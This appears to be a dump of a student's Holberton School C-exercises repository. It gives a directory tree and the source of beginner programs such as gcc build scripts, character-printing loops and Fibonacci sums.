├── .gitignore ├── .gitmodules ├── 0x00-hello_world ├── 0-preprocessor ├── 1-compiler ├── 100-intel ├── 101-quote.c ├── 2-assembler ├── 3-name ├── 4-puts.c ├── 5-printf.c ├── 6-size.c └── README.md ├── 0x01-variables_if_else_while ├── 0-positive_or_negative.c ├── 1-last_digit.c ├── 10-print_comb2.c ├── 100-print_comb3.c ├── 101-print_comb4.c ├── 102-print_comb5.c ├── 2-print_alphabet.c ├── 3-print_alphabets.c ├── 4-print_alphabt.c ├── 5-print_numbers.c ├── 6-print_numberz.c ├── 7-print_tebahpla.c ├── 8-print_base16.c ├── 9-print_comb.c └── README.md ├── 0x02-functions_nested_loops ├── .gitignore ├── 0-holberton.c ├── 1-alphabet.c ├── 1-main.c ├── 10-add.c ├── 10-main.c ├── 100-main.c ├── 100-times_table.c ├── 101-natural.c ├── 102-fibonacci.c ├── 103-fibonacci.c ├── 104-fibonacci.c ├── 11-main.c ├── 11-print_to_98.c ├── 2-main.c ├── 2-print_alphabet_x10.c ├── 3-islower.c ├── 3-main.c ├── 4-isalpha.c ├── 4-main.c ├── 5-main.c ├── 5-sign.c ├── 6-abs.c ├── 6-main.c ├── 7-main.c ├── 7-print_last_digit.c ├── 8-24_hours.c ├── 8-main.c ├── 9-main.c ├── 9-times_table.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x03-debugging ├── .gitignore ├── 0-main.c ├── 1-main.c ├── 2-largest_number.c ├── 2-main.c ├── 3-convert_day.c ├── 3-main_a.c ├── 3-main_b.c ├── 3-print_remaining_days.c ├── README.md └── holberton.h ├── 0x04-more_functions_nested_loops ├── .gitignore ├── 0-isupper.c ├── 0-main.c ├── 1-isdigit.c ├── 1-main.c ├── 10-main.c ├── 10-print_triangle.c ├── 100-prime_factor.c ├── 101-main.c ├── 101-print_number.c ├── 2-main.c ├── 2-mul.c ├── 3-main.c ├── 3-print_numbers.c ├── 4-main.c ├── 4-print_most_numbers.c ├── 5-main.c ├── 5-more_numbers.c ├── 6-main.c ├── 6-print_line.c ├── 7-main.c ├── 7-print_diagonal.c ├── 8-main.c ├── 8-print_square.c ├── 9-fizz_buzz.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x05-pointers_arrays_strings ├── .gitignore ├── 0-main.c ├── 0-reset_to_98.c ├── 1-main.c ├── 1-swap.c ├── 100-atoi.c ├── 100-main.c ├── 101-keygen.c ├── 2-main.c ├── 2-strlen.c ├── 3-main.c ├── 3-puts.c ├── 4-main.c ├── 4-print_rev.c ├── 5-main.c ├── 5-rev_string.c ├── 6-main.c ├── 6-puts2.c ├── 7-main.c ├── 7-puts_half.c ├── 8-main.c ├── 8-print_array.c ├── 9-main.c ├── 9-strcpy.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x06-pointers_arrays_strings ├── .gitignore ├── 0-main.c ├── 0-strcat.c ├── 1-main.c ├── 1-strncat.c ├── 100-main.c ├── 100-print_number.c ├── 101-magic.c ├── 102-infinite_add.c ├── 102-main.c ├── 103-main.c ├── 103-print_buffer.c ├── 2-main.c ├── 2-strncpy.c ├── 3-main.c ├── 3-strcmp.c ├── 4-main.c ├── 4-rev_array.c ├── 5-main.c ├── 5-string_toupper.c ├── 6-cap_string.c ├── 6-main.c ├── 7-leet.c ├── 7-main.c ├── 8-main.c ├── 8-rot13.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x07-pointers_arrays_strings ├── .gitignore ├── 0-main.c ├── 0-memset.c ├── 1-main.c ├── 1-memcpy.c ├── 101-crackme_password ├── 2-main.c ├── 2-strchr.c ├── 3-main.c ├── 3-strspn.c ├── 4-main.c ├── 4-strpbrk.c ├── 5-main.c ├── 5-strstr.c ├── 7-main.c ├── 7-print_chessboard.c ├── 8-main.c ├── 8-print_diagsums.c ├── 9-main.c ├── 9-set_string.c ├── README.md ├── _putchar.c ├── cracked2.py ├── holberton.h └── top1575-probable-v2.txt ├── 0x08-recursion ├── .gitignore ├── 0-main.c ├── 0-puts_recursion.c ├── 1-main.c ├── 1-print_rev_recursion.c ├── 100-main.c ├── 100-wildcmp.c ├── 2-main.c ├── 2-strlen_recursion.c ├── 3-factorial.c ├── 3-main.c ├── 4-main.c ├── 4-pow_recursion.c ├── 5-main.c ├── 5-sqrt_recursion.c ├── 6-is_prime_number.c ├── 6-main.c ├── 7-is_palindrome.c ├── 7-main.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x09-static_libraries ├── .gitignore ├── README.md ├── create_static_lib.sh ├── holberton.h └── libholberton.a ├── 0x0A-argc_argv ├── .gitignore ├── 0-whatsmyname.c ├── 1-args.c ├── 100-change.c ├── 2-args.c ├── 3-mul.c ├── 4-add.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x0B-malloc_free ├── .gitignore ├── 0-create_array.c ├── 0-main.c ├── 1-main.c ├── 1-strdup.c ├── 100-main.c ├── 100-strtow.c ├── 2-main.c ├── 2-str_concat.c ├── 3-alloc_grid.c ├── 3-main.c ├── 4-free_grid.c ├── 4-main.c ├── 5-argstostr.c ├── 5-main.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x0C-more_malloc_free ├── .gitignore ├── 0-main.c ├── 0-malloc_checked.c ├── 1-main.c ├── 1-string_nconcat.c ├── 100-main.c ├── 100-realloc.c ├── 2-calloc.c ├── 2-main.c ├── 3-array_range.c ├── 3-main.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x0D-preprocessor ├── .gitignore ├── 0-main.c ├── 0-object_like_macro.h ├── 1-main.c ├── 1-pi.h ├── 101-preprocessor_abuse.c ├── 2-main.c ├── 3-function_like_macro.h ├── 3-main.c ├── 4-main.c ├── 4-sum.h ├── README.md ├── _putchar.c └── holberton.h ├── 0x0E-structures_typedef ├── .gitignore ├── 0-main.c ├── 1-init_dog.c ├── 1-main.c ├── 2-main.c ├── 2-print_dog.c ├── 3-main.c ├── 4-main.c ├── 4-new_dog.c ├── 5-free_dog.c ├── 5-main.c ├── README.md ├── _putchar.c └── dog.h ├── 0x0F-function_pointers ├── .gitignore ├── 0-main.c ├── 0-print_name.c ├── 1-array_iterator.c ├── 1-main.c ├── 100-main_opcodes.c ├── 2-int_index.c ├── 2-main.c ├── 3-calc.h ├── 3-get_op_func.c ├── 3-main.c ├── 3-op_functions.c ├── README.md ├── _putchar.c └── function_pointers.h ├── 0x10-variadic_functions ├── .gitignore ├── 0-main.c ├── 0-sum_them_all.c ├── 1-main.c ├── 1-print_numbers.c ├── 2-main.c ├── 2-print_strings.c ├── 3-main.c ├── 3-print_all.c ├── README.md └── variadic_functions.h ├── 0x12-singly_linked_lists ├── .gitignore ├── 0-main.c ├── 0-print_list.c ├── 1-list_len.c ├── 1-main.c ├── 100-first.c ├── 2-add_node.c ├── 2-main.c ├── 3-add_node_end.c ├── 3-main.c ├── 4-free_list.c ├── 4-main.c ├── README.md ├── _putchar.c └── lists.h ├── 0x13-more_singly_linked_lists ├── .gitignore ├── 0-main.c ├── 0-print_listint.c ├── 1-listint_len.c ├── 1-main.c ├── 10-delete_nodeint.c ├── 10-main.c ├── 100-main.c ├── 100-reverse_listint.c ├── 101-main.c ├── 101-print_listint_safe.c ├── 102-free_listint_safe.c ├── 102-main.c ├── 103-find_loop.c ├── 103-main.c ├── 2-add_nodeint.c ├── 2-main.c ├── 3-add_nodeint_end.c ├── 3-main.c ├── 4-free_listint.c ├── 4-main.c ├── 5-free_listint2.c ├── 5-main.c ├── 6-main.c ├── 6-pop_listint.c ├── 7-get_nodeint.c ├── 7-main.c ├── 8-main.c ├── 8-sum_listint.c ├── 9-insert_nodeint.c ├── 9-main.c ├── README.md ├── _putchar.c └── lists.h ├── 0x14-bit_manipulation ├── .gitignore ├── 0-binary_to_uint.c ├── 0-main.c ├── 1-main.c ├── 1-print_binary.c ├── 100-get_endianness.c ├── 100-main.c ├── 2-get_bit.c ├── 2-main.c ├── 3-main.c ├── 3-set_bit.c ├── 4-clear_bit.c ├── 4-main.c ├── 5-flip_bits.c ├── 5-main.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x15-file_io ├── .gitignore ├── 0-main.c ├── 0-read_textfile.c ├── 1-create_file.c ├── 1-main.c ├── 100-elf_header.c ├── 2-append_text_to_file.c ├── 2-main.c ├── 3-cp.c ├── README.md ├── _putchar.c └── holberton.h ├── 0x17-doubly_linked_lists ├── .gitignore ├── 0-main.c ├── 0-print_dlistint.c ├── 1-dlistint_len.c ├── 1-main.c ├── 102-palindromes.py ├── 102-result ├── 2-add_dnodeint.c ├── 2-main.c ├── 3-add_dnodeint_end.c ├── 3-main.c ├── 4-free_dlistint.c ├── 4-main.c ├── 5-get_dnodeint.c ├── 5-main.c ├── 6-main.c ├── 6-sum_dlistint.c ├── 7-insert_dnodeint.c ├── 7-main.c ├── 8-delete_dnodeint.c ├── 8-main.c ├── README.md └── lists.h ├── 0x18-dynamic_libraries ├── .gitignore ├── 0-main.c ├── 1-create_dynamic_lib.sh ├── 100-operations.c ├── 100-operations.so ├── 100-tests.py ├── 101-make_me_win.sh ├── README.md ├── abs.c ├── atoi.c ├── evil.c ├── holberton.h ├── isalpha.c ├── isdigit.c ├── islower.c ├── isupper.c ├── libevil.so ├── libevil.so.tar.gz ├── libholberton.so ├── memcpy.c ├── memset.c ├── operations.h ├── putchar.c ├── puts.c ├── strcat.c ├── strchr.c ├── strcmp.c ├── strcpy.c ├── strlen.c ├── strncat.c ├── strncmp.c ├── strncpy.c ├── strpbrk.c ├── strspn.c └── strstr.c ├── 0x1A-hash_tables ├── .gitignore ├── 0-hash_table_create.c ├── 0-main.c ├── 1-djb2.c ├── 1-main.c ├── 100-main.c ├── 100-sorted_hash_table.c ├── 2-key_index.c ├── 2-main.c ├── 3-hash_table_set.c ├── 3-main.c ├── 4-hash_table_get.c ├── 4-main.c ├── 5-hash_table_print.c ├── 5-main.c ├── 6-hash_table_delete.c ├── 6-main.c ├── README.md └── hash_tables.h ├── 0x1B-sorting_algorithms ├── .gitignore ├── 0-O ├── 0-bubble_sort.c ├── 1-O ├── 1-insertion_sort_list.c ├── 100-shell_sort.c ├── 1000-sort_deck.c ├── 101-O ├── 101-cocktail_sort_list.c ├── 102-O ├── 102-counting_sort.c ├── 103-O ├── 103-merge_sort.c ├── 104-O ├── 104-heap_sort.c ├── 105-O ├── 105-radix_sort.c ├── 2-O ├── 2-main.c ├── 2-selection_sort.c ├── 3-O ├── 3-main.c ├── 3-quick_sort.c ├── README.md ├── colored-sort.sh ├── deck.h ├── print_array.c ├── print_list.c └── sort.h ├── 0x1C-makefiles ├── 0-Makefile ├── 1-Makefile ├── 100-Makefile ├── 2-Makefile ├── 3-Makefile ├── 4-Makefile ├── 5-island_perimeter.py ├── 5-main.py ├── README.md ├── holberton.c ├── m.h └── main.c ├── 0x1D-binary_trees ├── .gitignore ├── 0-binary_tree_node.c ├── 0-main.c ├── 1-binary_tree_insert_left.c ├── 1-main.c ├── 10-binary_tree_depth.c ├── 10-main.c ├── 100-binary_trees_ancestor.c ├── 100-main.c ├── 101-binary_tree_levelorder.c ├── 101-main.c ├── 102-binary_tree_is_complete.c ├── 102-main.c ├── 103-binary_tree_rotate_left.c ├── 104-binary_tree_rotate_right.c ├── 104-main.c ├── 11-binary_tree_size.c ├── 11-main.c ├── 110-binary_tree_is_bst.c ├── 110-main.c ├── 111-bst_insert.c ├── 111-main.c ├── 112-array_to_bst.c ├── 112-main.c ├── 113-bst_search.c ├── 113-main.c ├── 114-bst_remove.c ├── 114-main.c ├── 115-O ├── 12-binary_tree_leaves.c ├── 12-main.c ├── 120-binary_tree_is_avl.c ├── 120-main.c ├── 121-avl_insert.c ├── 121-main.c ├── 122-array_to_avl.c ├── 122-main.c ├── 123-avl_remove.c ├── 123-main.c ├── 124-main.c ├── 124-sorted_array_to_avl.c ├── 125-O ├── 13-binary_tree_nodes.c ├── 13-main.c ├── 130-binary_tree_is_heap.c ├── 130-main.c ├── 131-heap_insert.c ├── 131-main.c ├── 132-array_to_heap.c ├── 132-main.c ├── 133-main.c ├── 134-main.c ├── 135-O ├── 14-binary_tree_balance.c ├── 14-main.c ├── 15-binary_tree_is_full.c ├── 15-main.c ├── 16-binary_tree_is_perfect.c ├── 16-main.c ├── 17-binary_tree_sibling.c ├── 17-main.c ├── 18-binary_tree_uncle.c ├── 18-main.c ├── 2-binary_tree_insert_right.c ├── 2-main.c ├── 3-binary_tree_delete.c ├── 3-main.c ├── 4-binary_tree_is_leaf.c ├── 4-main.c ├── 5-binary_tree_is_root.c ├── 5-main.c ├── 6-binary_tree_preorder.c ├── 6-main.c ├── 7-binary_tree_inorder.c ├── 7-main.c ├── 8-binary_tree_postorder.c ├── 8-main.c ├── 9-binary_tree_height.c ├── 9-main.c ├── README.md ├── binary_tree_print.c └── binary_trees.h ├── 0x1E-search_algorithms ├── .gitignore ├── 0-linear.c ├── 0-main.c ├── 1-binary.c ├── 1-main.c ├── 100-jump.c ├── 100-main.c ├── 101-O ├── 102-interpolation.c ├── 102-main.c ├── 103-exponential.c ├── 103-main.c ├── 104-advanced_binary.c ├── 104-main.c ├── 105-jump_list.c ├── 105-main.c ├── 106-linear_skip.c ├── 106-main.c ├── 107-O ├── 108-O ├── 2-O ├── 3-O ├── 4-O ├── 5-O ├── 6-O ├── README.md └── search_algos.h ├── README.md └── simple-shell-exercises ├── .gitignore ├── 0-av.c ├── 0-getppid.c ├── 1-read_line.c ├── 2-command_line_to_av.c └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | *.py[cod] 3 | *.so 4 | *.sw[op] 5 | tags 6 | .tags 7 | .DS_Store 8 | .vscode 9 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "0x19-stacks_queues_lifo_fifo"] 2 | path = 0x19-stacks_queues_lifo_fifo 3 | url = https://github.com/patrickdeyoreo/monty 4 | -------------------------------------------------------------------------------- /0x00-hello_world/0-preprocessor: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -E "${CFILE?}" -o c 3 | -------------------------------------------------------------------------------- /0x00-hello_world/1-compiler: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -c "${CFILE?}" 3 | -------------------------------------------------------------------------------- /0x00-hello_world/100-intel: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -S -masm=intel "${CFILE?}" 3 | -------------------------------------------------------------------------------- /0x00-hello_world/101-quote.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * Description: Print a string to stderr using the write function 6 | * Return: 1 7 | */ 8 | int main(void) 9 | { 10 | write(2, "and that piece of art is useful\" - Dora Korpar, 2015-10-19\n", 11 | 59); 12 | return (1); 13 | } 14 | -------------------------------------------------------------------------------- /0x00-hello_world/2-assembler: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -S "${CFILE?}" 3 | -------------------------------------------------------------------------------- /0x00-hello_world/3-name: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc "${CFILE?}" -o cisfun 3 | -------------------------------------------------------------------------------- /0x00-hello_world/4-puts.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * Description: Print a string using followed by a new line 6 | * Return: 0 7 | */ 8 | int main(void) 9 | { 10 | puts("\"Programming is like building a multilingual puzzle"); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x00-hello_world/5-printf.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * Description: Print a string using followed by a new line 6 | * Return: 0 7 | */ 8 | int main(void) 9 | { 10 | printf("with proper grammar, but the outcome is a piece of art,\n"); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x00-hello_world/6-size.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * Description: Print the size of various types 6 | * Return: 0 7 | */ 8 | int main(void) 9 | { 10 | printf("Size of a char: %ld byte(s)\n", sizeof(char)); 11 | printf("Size of an int: %ld byte(s)\n", sizeof(int)); 12 | printf("Size of a long int: %ld byte(s)\n", sizeof(long int)); 13 | printf("Size of a long long int: %ld byte(s)\n", sizeof(long long int)); 14 | printf("Size of a float: %ld byte(s)\n", sizeof(float)); 15 | return (0); 16 | } 17 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/0-positive_or_negative.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /** 6 | * main - entry point 7 | * 8 | * Description: Prints a number and whether it is positive, negative or zero. 9 | * 10 | * Return: 0 11 | */ 12 | int main(void) 13 | { 14 | int n; 15 | 16 | srand(time(0)); 17 | n = rand() - RAND_MAX / 2; 18 | printf("%d is %s\n", n, (n > 0) ? "positive" 19 | : ((n < 0) ? "negative" : "zero")); 20 | return (0); 21 | } 22 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/1-last_digit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /** 6 | * main - entry point 7 | * 8 | * Description: Prints a number and it's last digit along with whether its 9 | * last digit is 0, greater than 5, or less than 6 and not 0. 10 | * Return: 0 11 | */ 12 | int main(void) 13 | { 14 | int n; 15 | 16 | srand(time(0)); 17 | n = rand() - RAND_MAX / 2; 18 | 19 | printf("Last digit of %d is %d %s\n", n, n % 10, 20 | ((n % 10) == 0) ? "and is 0" 21 | : (((n % 10) > 5) ? "and is greater than 5" 22 | : "and is less than 6 and not 0")); 23 | 24 | return (0); 25 | } 26 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/10-print_comb2.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Description: Write a program that prints the numbers from 00 to 99 7 | * Return: 0 8 | */ 9 | int main(void) 10 | { 11 | int digits[2] = { 0, 0 }; 12 | int sep[2] = { ',', ' ' }; 13 | int i = 0; 14 | 15 | for (digits[0] = 0; digits[0] < 10; ++(digits[0])) 16 | { 17 | for (digits[1] = 0; digits[1] < 10; ++(digits[1])) 18 | { 19 | for (i = 0; i < 2; ++i) 20 | putchar('0' + digits[i]); 21 | 22 | if (digits[0] != 9 || digits[1] != 9) 23 | { 24 | for (i = 0; i < 2; ++i) 25 | putchar(sep[i]); 26 | } 27 | } 28 | } 29 | 30 | putchar('\n'); 31 | 32 | return (0); 33 | } 34 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/100-print_comb3.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Description: Print all possible different combinations of two digits 7 | * Return: 0 8 | */ 9 | int main(void) 10 | { 11 | int i; 12 | int j; 13 | 14 | for (i = 0; i < 10; ++i) 15 | { 16 | for (j = i + 1; j < 10; ++j) 17 | { 18 | putchar('0' + i); 19 | putchar('0' + j); 20 | 21 | if (i != 8 || j != 9) 22 | { 23 | putchar(','); 24 | putchar(' '); 25 | } 26 | } 27 | } 28 | 29 | putchar('\n'); 30 | 31 | return (0); 32 | } 33 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/101-print_comb4.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Description: Print all possible different combinations of two digits 7 | * Return: 0 8 | */ 9 | int main(void) 10 | { 11 | int i; 12 | int j; 13 | int k; 14 | 15 | for (i = 0; i < 10; ++i) 16 | { 17 | for (j = i + 1; j < 10; ++j) 18 | { 19 | for (k = j + 1; k < 10; ++k) 20 | { 21 | putchar('0' + i); 22 | putchar('0' + j); 23 | putchar('0' + k); 24 | 25 | if (i != 7 || j != 8 || k != 9) 26 | { 27 | putchar(','); 28 | putchar(' '); 29 | } 30 | } 31 | } 32 | } 33 | 34 | putchar('\n'); 35 | 36 | return (0); 37 | } 38 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/2-print_alphabet.c: -------------------------------------------------------------------------------- 1 | #include 2 | /** 3 | * main - entry point 4 | * 5 | * Description: Print the lowercase alphabet 6 | * Return: 0 7 | */ 8 | int main(void) 9 | { 10 | int c; 11 | 12 | for (c = 0; c < 26; ++c) 13 | putchar('a' + c); 14 | 15 | putchar('\n'); 16 | 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/3-print_alphabets.c: -------------------------------------------------------------------------------- 1 | #include 2 | /** 3 | * main - entry point 4 | * 5 | * Description: Print lower and upper alphabet on the same line 6 | * Return: 0 7 | */ 8 | int main(void) 9 | { 10 | int c; 11 | 12 | for (c = 0; c < 26; ++c) 13 | putchar('a' + c); 14 | for (c = 0; c < 26; ++c) 15 | putchar('A' + c); 16 | 17 | putchar('\n'); 18 | 19 | return (0); 20 | } 21 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/4-print_alphabt.c: -------------------------------------------------------------------------------- 1 | #include 2 | /** 3 | * main - entry point 4 | * 5 | * Description: Print lowercase alphabet excluding e and q 6 | * Return: 0 7 | */ 8 | int main(void) 9 | { 10 | char c; 11 | 12 | for (c = 'a'; c <= 'z'; ++c) 13 | { 14 | if (c != 'e' && c != 'q') 15 | putchar(c); 16 | } 17 | 18 | putchar('\n'); 19 | 20 | return (0); 21 | } 22 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/5-print_numbers.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Description: Print numbers 0 to 9 on one line 7 | * Return: 0 8 | */ 9 | int main(void) 10 | { 11 | char i; 12 | 13 | for (i = '0'; i <= '9'; ++i) 14 | putchar(i); 15 | 16 | putchar('\n'); 17 | 18 | return (0); 19 | } 20 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/6-print_numberz.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Description: Print numbers 0 to 9 on one line 7 | * Return: 0 8 | */ 9 | int main(void) 10 | { 11 | int i; 12 | 13 | for (i = 0; i <= 9; ++i) 14 | putchar('0' + i); 15 | 16 | putchar('\n'); 17 | 18 | return (0); 19 | } 20 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/7-print_tebahpla.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Description: Print lowercase alphabet backwards 7 | * Return: 0 8 | */ 9 | int main(void) 10 | { 11 | char c; 12 | 13 | for (c = 'z'; c >= 'a'; --c) 14 | putchar(c); 15 | 16 | putchar('\n'); 17 | 18 | return (0); 19 | } 20 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/8-print_base16.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Description: Print all the digits of base 16 in lowercase 7 | * Return: 0 8 | */ 9 | int main(void) 10 | { 11 | char x; 12 | 13 | for (x = '0'; x <= '9'; ++x) 14 | putchar(x); 15 | for (x = 'a'; x <= 'f'; ++x) 16 | putchar(x); 17 | 18 | putchar('\n'); 19 | 20 | return (0); 21 | } 22 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/9-print_comb.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Description: Print all possible combinations of single-digit numbers 7 | * Return: 0 8 | */ 9 | int main(void) 10 | { 11 | int i = 0; 12 | 13 | for (i = 0; i < 10; ++i) 14 | { 15 | putchar('0' + i); 16 | 17 | if (i != 9) 18 | { 19 | putchar(','); 20 | putchar(' '); 21 | } 22 | } 23 | 24 | putchar('\n'); 25 | 26 | return (0); 27 | } 28 | -------------------------------------------------------------------------------- /0x01-variables_if_else_while/README.md: -------------------------------------------------------------------------------- 1 | # 0x01. C - Variables, if, else, while 2 | ### Intro to loops and conditionals 3 | 4 | * **0-positive\_or\_negative.c** 5 | 6 | * **1-last\_digit.c** 7 | 8 | * **2-print\_alphabet.c** 9 | 10 | * **3-print\_alphabets.c** 11 | 12 | * **4-print\_alphabt.c** 13 | 14 | * **5-print\_numbers.c** 15 | 16 | * **6-print\_numberz.c** 17 | 18 | * **7-print\_tebahpla.c** 19 | 20 | * **8-print\_base16.c** 21 | 22 | * **9-print\_comb.c** 23 | 24 | * **100-print\_comb3.c** 25 | 26 | * **101-print\_comb4.c** 27 | 28 | * **102-print\_comb5.c** 29 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/0-holberton.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Return: 0 7 | */ 8 | int main(void) 9 | { 10 | char *holberton; 11 | 12 | for (holberton = "Holberton\n"; *holberton != '\0'; ++holberton) 13 | _putchar(*holberton); 14 | return (0); 15 | } 16 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/1-alphabet.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_alphabet - print the alphabet 5 | * 6 | * Description: print the alphabet, in lowercase, followed by a new line 7 | * Return: void 8 | */ 9 | 10 | void print_alphabet(void) 11 | { 12 | int c; 13 | 14 | for (c = 'a'; c <= 'z'; ++c) 15 | _putchar(c); 16 | _putchar('\n'); 17 | } 18 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/1-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | ** main - check the code for Holberton School students. 5 | ** 6 | ** Return: Always 0. 7 | **/ 8 | int main(void) 9 | { 10 | print_alphabet(); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/10-add.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * add - add two integers 5 | * @a: First integer 6 | * @b: Second integer 7 | * 8 | * Return: The sum of a and b 9 | */ 10 | int add(int a, int b) 11 | { 12 | return (a + b); 13 | } 14 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/10-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int n; 12 | 13 | n = add(89, 9); 14 | printf("%d\n", n); 15 | return (0); 16 | } 17 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/100-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_times_table(3); 11 | _putchar('\n'); 12 | print_times_table(5); 13 | _putchar('\n'); 14 | print_times_table(98); 15 | _putchar('\n'); 16 | print_times_table(12); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/101-natural.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | int i; 11 | int sum = 0; 12 | 13 | for (i = 3; i < 1024; ++i) 14 | { 15 | if (i % 3 == 0 || i % 5 == 0) 16 | sum += i; 17 | } 18 | printf("%d\n", sum); 19 | 20 | return (0); 21 | } 22 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/102-fibonacci.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | int i; 11 | long int a = 1; 12 | long int b = 2; 13 | 14 | for (i = 0; i < 50; ++i) 15 | { 16 | printf("%ld", a); 17 | if (i < 49) 18 | { 19 | b += a; 20 | a = b - a; 21 | printf(", "); 22 | } 23 | } 24 | 25 | putchar('\n'); 26 | 27 | return (0); 28 | } 29 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/103-fibonacci.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - entry point 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | int a = 1; 11 | int b = 2; 12 | long int sum = 0; 13 | 14 | do { 15 | if (b % 2 == 0) 16 | sum += b; 17 | b += a; 18 | a = b - a; 19 | } while (b <= 4000000); 20 | 21 | printf("%ld\n", sum); 22 | 23 | return (0); 24 | } 25 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/11-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton Schooul students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_to_98(0); 11 | print_to_98(98); 12 | print_to_98(111); 13 | print_to_98(81); 14 | print_to_98(-10); 15 | return (0); 16 | } 17 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/11-print_to_98.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * print_to_98 - print all integers from given value to 98 (inclusive) 6 | * @n: The start of the range 7 | * 8 | * Return: void 9 | */ 10 | void print_to_98(int n) 11 | { 12 | if (n == 98) 13 | { 14 | printf("%d\n", n); 15 | } 16 | else 17 | { 18 | printf("%d, ", n); 19 | print_to_98((n < 98) ? n + 1 : n - 1); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/2-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | /** 3 | * main - check the code for Holberton School students. 4 | * 5 | * Return: Always 0. 6 | */ 7 | int main(void) 8 | { 9 | print_alphabet_x10(); 10 | return (0); 11 | } 12 | 13 | -------------------------------------------------------------------------------- 